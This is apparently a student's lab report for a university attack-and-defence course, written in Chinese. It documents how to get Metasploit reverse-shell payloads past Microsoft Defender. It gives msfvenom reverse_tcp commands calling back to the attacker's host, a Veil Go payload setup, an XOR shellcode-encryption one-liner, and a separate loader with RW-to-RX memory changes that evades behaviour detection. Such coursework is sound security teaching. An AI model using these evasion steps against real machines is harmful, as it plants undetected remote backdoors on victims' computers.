20242326 2025-2026-1《网络与系统攻防技术》实验三实验报告
20242326 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1. 基础知识
1.1 杀软是如何检测出恶意代码的?(问题一)
结合本次实验的实测现象,杀软的检测手段可分为五层:
| 检测手段 | 静态/动态 | 原理 | 本次实验中的对应现象 |
|---|---|---|---|
| 哈希比对 | 静态 | 计算文件 MD5/SHA256 与云端黑名单比对 | 每次重新编译哈希即变,对新生成文件无效 |
| 特征码匹配 | 静态 | 比对已知恶意代码的字节序列、字符串与 PE 结构 | raw_20242326.exe 落地即被 Defender 删除,报 Trojan:Win32/Meterpreter.RPZ!MTB;内嵌相同 355 字节 shellcode 的自编译 C 加载器也被同一签名查杀 |
| 启发式分析 | 静态+动态 | 对程序结构与高危 API 组合做可疑度评分 | 多轮编码的 exe 虽无已知特征,仍被静态查杀 |
| 行为监控 / 内存扫描 | 动态 | 监控运行时 API 调用、网络连接;扫描进程内存中的解密代码 | 任务四第一版 loader 运行时被 Behavior:Win32/Meterpreter.gen!A 处决(RWX 内存申请触发) |
| 云查杀 | 综合 | 样本上传云端结合特征与模型判定 | 本机 Defender 连 jar 格式(VirTool:Java/Meterpreter.A)也查杀,说明云特征库覆盖广 |
此外 Windows 的 AMSI 接口会让脚本类负载在执行前被扫描,无文件落地不等于安全。
1.2 免杀是做什么?(问题二)
免杀指在保持恶意代码功能不变的前提下,改造其静态特征、文件形态与加载方式,使杀软各层检测无法识别或放行执行。本质是"让落盘的每个字节都不像恶意代码、让运行时的每个行为都不触发检测阈值"。
1.3 免杀的基本方法有哪些?(问题三)
| 思路 | 具体方法 | 对抗的检测层 |
|---|---|---|
| 改变静态特征 | 编码器多轮编码、异或加密 shellcode、加壳、代码混淆 | 特征码、启发式 |
| 改变文件形态 | 换用 jar 等非 PE 输出格式 | 特征码(视杀软覆盖程度) |
| 改变加载方式 | 分离加载(loader 与 shellcode 分开存放)、内存解密执行、渐进式内存申请(RW→RX,避免 RWX) | 静态扫描、行为监控、内存扫描 |
| 白名单利用 | 借助系统自带程序加载 | 白名单机制 |
本实验覆盖:编码与换格式(任务一)、Veil 封装(任务二)、C+shellcode 二次开发(任务三)、加密+分离加载+UPX 组合及行为检测对抗(任务四)。
1.4 msfvenom 编码器与输出格式
-e 指定编码器,x86/shikata_ga_nai 为 MSF 中 x86 平台评级 excellent 的多态异或编码器,-i N 指定迭代轮数。编码后的 shellcode 运行依赖固定的解码 stub 自解密,该 stub 字节特征已被杀软收录,故仅编码效果有限——任务一中 10 轮编码后的 exe 仍被同一签名(Meterpreter.RPZ!MTB)查杀,且每轮迭代文件体积递增(382→625 字节),相当于把特征代码复制多份。
输出格式(-f)支持 exe/dll/jar/c/raw 等。杀软检测重点在 PE 文件,对 jar 相对较弱,但本机 Defender 对 jar 同样查杀(VirTool 签名),说明换格式并非银弹,效果因杀软环境而异。
1.5 Veil-Evasion 的工作原理
与 msfvenom 直出 exe(内嵌明文 shellcode)不同,Veil 先生成原始 shellcode 并加密,再嵌入 Go/C/Python 编写的加载器中编译为 exe:磁盘上的可执行文件只含加载器代码与加密数据,运行时才在内存解密执行。Veil 3.1 起采用渐进式内存申请(先 RW 权限写入,再 VirtualProtect 改为 RX),避免直接申请 RWX。本实验选用 go/meterpreter/rev_tcp,实测产物(1213440 字节)在本机 Defender 环境下免杀并回连成功。
1.6 Shellcode 与 C 加载器
msfvenom 以 -f c 输出 C 数组形式的 shellcode,加载器的核心三步:VirtualAlloc 申请内存 → memcpy 拷贝 → 函数指针调用转入执行。自行编译的产物是全新二进制,不含已知工具特征;但若内嵌的是明文 shellcode,其字节与 msfvenom 直出产物完全一致,仍会被特征码命中(任务三的实测教训)。
1.7 加壳
UPX 属于压缩壳,压缩 PE 节区、运行时先解压再执行,改变 PE 静态结构、增加分析成本。壳本身特征已被广泛收录,单独使用效果有限,通常作为组合技术的最后一道工序。
2. 实验内容
| 任务 | 内容 | 技术点 |
|---|---|---|
| 任务一 | 正确使用 msf 编码器;生成 jar 等其他格式文件 | shikata_ga_nai 多轮编码、-f jar、handler 回连 |
| 任务二 | Veil-Evasion 生成免杀后门 | Go 加载器、加密嵌入、handler |
| 任务三 | C + shellcode 编程 | -f c、加载器编写、mingw 交叉编译 |
| 任务四 | 组合应用各种技术实现免杀,与杀软共生 | 异或加密、分离加载、渐进式内存执行、UPX、行为检测对抗 |
| 任务五 | 另一台电脑实测,杀软开启下运行并回连 | 组合方案实战,注明杀软名称与版本 |
方案简介:任务一验证单技术的失效;任务二、三验证封装与二次编译的免杀边界;任务四采用"msfvenom 生成 raw shellcode → 异或 0x55 加密存为独立 bin → 自写 C 加载器读文件、内存解密、执行 → UPX 加壳"的组合方案,并在被行为检测拦截后改进内存申请策略(RWX → RW+VirtualProtect);任务五将方案搬到另一台物理机实测。
3. 实验过程
3.0 实验环境
- 攻击机:Kali Linux 2026.2 虚拟机,主机名 yaoshiyu(按作业要求改为本人姓名拼音)
- 靶机一(任务一至四):本人宿主机,计算机名 YAOSHIYU,Windows 11 24H2+(Build 26200),Java 1.8.0_201,杀软为 Microsoft Defender(实时保护开启)
- 靶机二(任务五):借用的笔记本电脑(华为),计算机名为中文名,Windows 11 家庭版,Microsoft Defender,反恶意软件客户端版本 4.18.26090.9,引擎版本 1.1.26090.9,病毒库版本 1.461.196.0
- 工具:Metasploit(msfvenom/msfconsole)、Veil-Evasion 3.1.14、mingw-w64、UPX 4.2.4、Python3
- 端口统一 2326,所有文件名含学号 20242326
- 网络:任务一至四为 VMware NAT 网段(Kali 192.168.232.128);任务五为 iPhone 热点局域网(Kali 桥接获得 172.20.10.14/28,靶机二 172.20.10.13)

图 1 宿主机 VMnet8 虚拟网卡地址信息

图 2 Kali 虚拟机 Ping 宿主机网关

图 3 宿主机 Ping Kali 虚拟机

图 4 靶机 Java 运行环境版本

图 5 Microsoft Defender 实时保护开启
3.1 任务一:msf 编码器与 jar 格式
(1)查看编码器:msfvenom --list encoders,x86 平台 excellent 级编码器为 x86/shikata_ga_nai(另有一个 cmd/powershell_base64 也是 excellent)。

图 6 msfvenom 编码器列表
(2)裸生成基准文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=2326 -f exe -o raw_20242326.exe
传到 Windows 后落地即被 Defender 实时保护删除,保护历史记录报 Trojan:Win32/Meterpreter.RPZ!MTB。

图 7 基准可执行文件被查杀的保护历史记录(一)

图 8 raw_20242326.exe 被查杀的保护历史记录(二)
(3)shikata_ga_nai 编码 10 轮:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=2326 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o encoded_20242326.exe
输出 10 行 succeeded with size xxx,体积 382→625 字节逐轮递增。传到 Windows 后仍被同一签名查杀(19:59 已隔离)。结论:解码 stub 特征固定且已被收录,编码轮数再多也只是把特征复制多份,无法改变识别结果。

图 9 shikata_ga_nai 编码 10 轮的输出

图 10 encoded_20242326.exe 被隔离记录
(4)生成 jar 并尝试回连:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=2326 -f jar -o backdoor_20242326.jar
jar 文件(5264 字节)生成成功,但本机 Defender 连 JAR 格式也查杀(20:06、20:10、20:12 三次下载三次被隔离,报 VirTool:Java/Meterpreter.A),未能运行回连。

图 11 下载 JAR 文件到靶机

图 12 JAR 文件多次投递及 Defender 威胁提示

图 13 JAR 文件被隔离的保护历史记录
任务一结论:本机环境下 msfvenom 直出产物(exe、编码 exe、jar)全军覆没;exe 被杀报 Trojan 前缀、jar 被杀报 VirTool 前缀,说明杀软对不同格式走不同特征库;编码与换格式只是"成本低"的思路,不是"稳过"的思路。
3.2 任务二:Veil-Evasion
安装 Veil:sudo apt install veil -y(详见问题4的排障过程)。启动:
use evasion
use go/meterpreter/rev_tcp.py
set LHOST 192.168.232.128
set LPORT 2326
generate
基名 veil_go_20242326,产物为 /var/lib/veil/output/compiled/veil_go_20242326.exe(1213440 字节,含静态打包的 Go 运行时)、源码 veil_go_20242326.go、监听脚本 veil_go_20242326.rc。

图 14 Veil-Evasion 3.1.14 主菜单

图 15 Veil 生成 Go 载荷成功及产物路径

图 16 Veil 产物与 C 加载器的文件大小对比
Kali 起 windows/meterpreter/reverse_tcp handler,Windows 端运行 veil_go_20242326.exe:落地无查杀,双击后 Kali 收到 Meterpreter session(Computer: YAOSHIYU, Windows 11 24H2+, x64)。

图 17 Veil 载荷回连并建立 Meterpreter 会话

图 18 Veil 会话的 sysinfo 返回信息
对比可见:Veil 产物(1.2MB)比任务三 C 加载器(106KB)大 11 倍——Go 运行时静态打包所致,体积大既是特征也是其静态免杀仍能成功的原因(加密数据+陌生二进制)。
3.3 任务三:C + shellcode 编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=2326 -f c -o shellcode_20242326.c
生成 355 字节 shellcode,将其嵌入自写加载器(VirtualAlloc 申请可执行内存 → memcpy → 函数指针执行),i686-w64-mingw32-gcc loader_20242326.c -o c_shellcode_20242326.exe 交叉编译。

图 19 生成 C 数组形式的 shellcode

图 20 C 加载器源码

图 21 交叉编译成功及生成文件
exe 传到 Windows 后落地即被隔离(16:38,Trojan:Win32/Meterpreter.RPZ!MTB)。分析:编译产物虽是全新二进制,但内嵌的 355 字节明文 shellcode 与 msfvenom 直出产物逐字节相同,特征码匹配与"外壳"无关。这一失败直接催生了任务四的设计:让落盘字节本身变样(加密),并让 exe 里根本没有 payload(分离加载)。

图 22 c_shellcode_20242326.exe 被隔离记录
3.4 任务四:组合免杀与杀软共生
(1)生成 raw 并异或加密(选用异或 0x55,与教材常见的凯撒移位区别开):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=2326 -f raw -o shell_20242326.raw
python3 -c "
data = open('shell_20242326.raw','rb').read()
enc = bytes([b ^ 0x55 for b in data])
open('encrypted_20242326.bin','wb').write(enc)
print('Original:', len(data), '-> Encrypted:', len(enc))
"
# 输出:Original: 355 -> Encrypted: 355
(2)分离加载器:exe 只负责读 bin、内存异或解密、执行,不内嵌任何 shellcode。
(3)编译加壳:
i686-w64-mingw32-gcc loader2_20242326.c -o loader_20242326.exe
upx --best loader_20242326.exe -o loader_final_20242326.exe
# 109984 → 60832 字节,压缩率 55.31%

图 23 生成 raw shellcode 并进行异或加密

图 24 分离加载器源码

图 25 编译、UPX 加壳及两个交付文件
(4)第一版测试(RWX 方案):exe 与 bin 传至 Windows(落地均无查杀,保护历史记录零新增),Defender 实时保护保持开启。双击运行后 Kali 确实收到 session(stage 已投递),但会话随即 Reason: Died;同时 Defender 弹出 Behavior:Win32/Meterpreter.gen!A(17:04,状态"活动"),受影响进程正是 loader_final_20242326.exe。

图 26 第一版加载器和加密文件下载到靶机

图 27 测试时 Defender 实时保护保持开启

图 28 第一版会话建立后随即退出

图 29 Behavior:Win32/Meterpreter.gen!A 行为检测记录
分析:静态查杀、启发式两关已绕过(文件落地、能执行、能回连),败在第三关——行为/内存检测。直接申请 PAGE_EXECUTE_READWRITE(RWX)内存是行为检测的重点监控对象。
(5)改进:渐进式内存申请。修改 loader 三行——先以 PAGE_READWRITE 申请,memcpy 后用 VirtualProtect 改为 PAGE_EXECUTE_READ,全程不出现 RWX。重新编译加壳(文件名不变,时间戳更新)。

图 30 改进版测试终端(原始截图)

图 31 改进版重新编译与 UPX 加壳
(6)第二版测试:覆盖传输后双击运行,Kali 收到 Meterpreter session 4 opened,会话稳定不死亡,sysinfo 正常返回——杀软全程开启下的"共生"达成。

图 32 改进版建立 Meterpreter session 4

图 33 改进版会话的 sysinfo 返回信息
免杀原理(文字说明):加载器 exe 内只含文件读取、逐字节异或、内存申请与跳转逻辑,不含 shellcode,静态特征匹配无对象;bin 文件为整体异或 0x55 的密文,不命中任何特征库;明文 shellcode 仅在运行时短暂存在于内存,且内存申请采用 RW→RX 渐进式(模仿 Veil 3.1 的策略),未触发行为检测阈值;UPX 壳进一步改变 PE 结构。四项技术分别对应不同检测层,单一技术均可被针对性检测,组合后才能与杀软防护共存——这也解释了为什么第一版单点失败、改进对应单点后即整体通过。
3.5 任务五:另一台电脑实测
实测环境:借用的笔记本电脑,Windows 11 家庭版,Microsoft Defender(反恶意软件客户端版本 4.18.26090.9,引擎版本 1.1.26090.9,防病毒软件版本 1.461.196.0),连接 iPhone 热点获得 172.20.10.13。
网络搭建:校园网因 802.1x 认证与 AP 隔离无法用于实测(虚拟机无法过认证,终端间互不可达),改用 iPhone 热点。Kali 网络适配器切为桥接模式,sudo systemctl restart NetworkManager 后 eth0 获得 172.20.10.14/28,靶机 ping 通、TCP 8000 端口测试通过。

图 34 切换热点网络后的 Kali 地址与文件重建过程
按新 IP 重新生成全套文件(LHOST=172.20.10.14):raw → 异或加密 → 编译 → UPX,时间戳全部更新。
投递与运行:Kali 起 http.server,靶机 PowerShell 下载两文件(355 + 60832 字节,与源端一致),落地后保护历史记录零新增。

图 35 靶机连通性测试及两个文件下载结果

图 36 文件落地后的 Windows 保护历史记录
杀软证据:截图记录杀软版本信息。

Kali 起 handler(LHOST=172.20.10.14),靶机双击 loader_final_20242326.exe,Kali 收到 Meterpreter session opened (172.20.10.14:2326 -> 172.20.10.13:42642),会话稳定,sysinfo 显示 Windows 11 24H2 x64,计算机名显示为中文(meterpreter 编码原因显示为占位符)。

实测后清理:断开会话,删除靶机 Downloads 下的两个文件,验证无残留。
4. 问题及解决方案
- 问题1:VMware NAT 网段宿主机与虚拟机双向不通。 表现为宿主 ping 虚拟机报"来自 192.168.232.1 的回复:无法访问目标主机",虚拟机 ping 网关也 100% 丢包。排查:确认虚拟网络服务状态,重启 VMware NAT Service 与 VMware DHCP Service,并在网络连接中禁用再启用"VMware Network Adapter VMnet8"后恢复。该故障在实验期间多次复发,成为主要的调试时间开销。
- 问题2:开启 Windows 防火墙后浏览器无法访问任何网站(ERR_NETWORK_ACCESS_DENIED)。 尝试在"允许应用通过防火墙"中放行 Edge 无效,判断为学校域策略统一下发的出站规则所致。处理:实验期间保持防火墙关闭、Defender 实时保护开启,并在报告中如实说明两种安全组件的状态。
- 问题3:多次出现"无法连接到远程服务器",但 Kali 端服务看似正常。 根源有二:一是 http.server 运行在交互终端中,误触 Ctrl+C 后服务静默退出,而报错信息指向网络层,具有误导性;二是宿主机与虚拟机间的网络故障(同问题1)。解决:文件服务终端与操作终端分离、传输失败先用
curl -I http://localhost:8000/文件名验证服务端状态再查网络。 - 问题4:Veil 首次初始化需从 GitHub 克隆 setup-dependencies 并下载 Go、PyInstaller 等组件,校园网无法访问 GitHub,setup 大面积报错。 分析:go/meterpreter/rev_tcp 载荷仅依赖 Go 编译器,其余 wine 组件对该载荷无影响。解决:改用
sudo apt install golang安装 Go 1.26,建立软链接/var/lib/veil/go -> /usr/lib/go-1.26满足 Veil 的固定路径检查;再用grep -rn "Can't find" /usr/share/veil/lib/提取全部前置检查项,对目录型检查mkdir -p、对文件型检查(如 python.exe、ruby.exe、Aut2exe.exe)touch空文件,逐项满足后 Veil 正常启动并生成 Go 后门。 - 问题5:启动 handler 报"Handler failed to bind: The address is already in use"。 用
sudo ss -tlnp | grep 2326发现早前实验残留的 msfconsole 进程(ruby)仍占用端口,kill 对应 PID 后重新 exploit。教训:排障第一步是查端口占用,而不是修改配置。
![alt text]()
- 问题6:任务四第一版 loader 静态免杀成功、能执行、能回连,但会话随即死亡,Defender 报 Behavior:Win32/Meterpreter.gen!A。 分析:直接申请 RWX 内存(PAGE_EXECUTE_READWRITE)触发行为/内存检测。解决:模仿 Veil 3.1 的渐进式内存申请策略,改为先 RW 写入、再 VirtualProtect 改为 RX,重新编译后实测绕过行为检测,会话稳定。
- 问题7:任务五中靶机多次运行 exe 而 Kali 毫无反应。 排查链:端口测试 True(网络通)→ 文件确认在 Downloads(存在)→ 最终发现 Kali 端运行的是换网前的旧 handler,绑定在已不存在的 192.168.232.128 上;且首次运行时在 System32 目录下执行,loader 按当前目录找不到 bin 而静默退出。解决:以新 IP(172.20.10.14)重启 handler,先
cd到文件所在目录再运行。
5. 学习感悟、思考等
这次实验最有价值的部分不是"免杀成功",而是失败出现的层次。
任务一里,我看到三种文件、三个时间、两种病毒名前缀(Trojan: 与 VirTool:),同一款 Meterpreter 在不同外衣下被不同特征库识别;编码 10 轮后文件从 382 字节涨到 625 字节——每轮编码都在复制同一段解码 stub,杀软只需要认识这一段。这让我明白特征码对抗的本质:改变"长相"没用,得改变"内容",而内容的核心是那段会被执行的 shellcode。
任务三里我自编译的 C 加载器被杀,是整次实验最重要的转折点。编译器是全新的、二进制是陌生的,但内嵌的 355 字节 shellcode 和 msfvenom 直出产物逐字节相同,特征码照杀不误。这直接推翻了"自己编译就能免杀"的直觉,逼出了任务四的加密+分离设计:让每个落盘文件都不含恶意字节,明文只在内存里短暂存在。
但任务四第一版仍被杀——这次是 Behavior 签名,杀的不是文件,是"申请 RWX 内存"这个行为。对照 Veil 能活的原因,我改了三行代码(RW → VirtualProtect → RX),实测通过。这一段让我体会到安全防御的分层结构:特征码、启发式、行为监控、内存扫描是四道独立的门,任何一道都能单独处决你;反过来,免杀也得按层拆解、逐层过招,没有一招通吃的方案。也正因为此,"开启杀软"从来不是完整防御——一个 40 行不到的加载器就能在防护全开时建立会话,纵深防御需要防火墙、入侵检测、权限最小化和对来源不明可执行文件的管控一起上。
工程层面的收获同样实在:VMnet8 的反复失联让我学会了先查服务与网卡状态再怀疑配置;Veil 的离线安装让我学会了读源码里的检查逻辑(grep 出全部检查项再针对性满足),而不是被安装脚本牵着走;换网络后 handler 没换 IP 的乌龙提醒我:payload、handler、网络拓扑三者必须同步变更,漏掉任何一环,症状都会以"毫无反应"这种最误导人的方式呈现。做实验不能一帆风顺,但每一个坑都对应一个可查、可验证、可写进报告的排障方法,这比结果本身更值得记住。
参考资料
- 《网络与系统攻防技术》实验指导(0x23_MAL_免杀原理与实践):https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
- Metasploit 官方文档(msfvenom / Meterpreter):https://docs.metasploit.com/
- Veil-Framework 官方仓库:https://github.com/Veil-Framework/Veil
- UPX 官方文档:https://upx.github.io/
- 《Metasploit 渗透测试魔鬼训练营》(诸葛建伟 等,机械工业出版社)
- 班级同学实验报告中关于校园网 802.1x 认证与 AP 隔离问题的讨论

浙公网安备 33010602011771号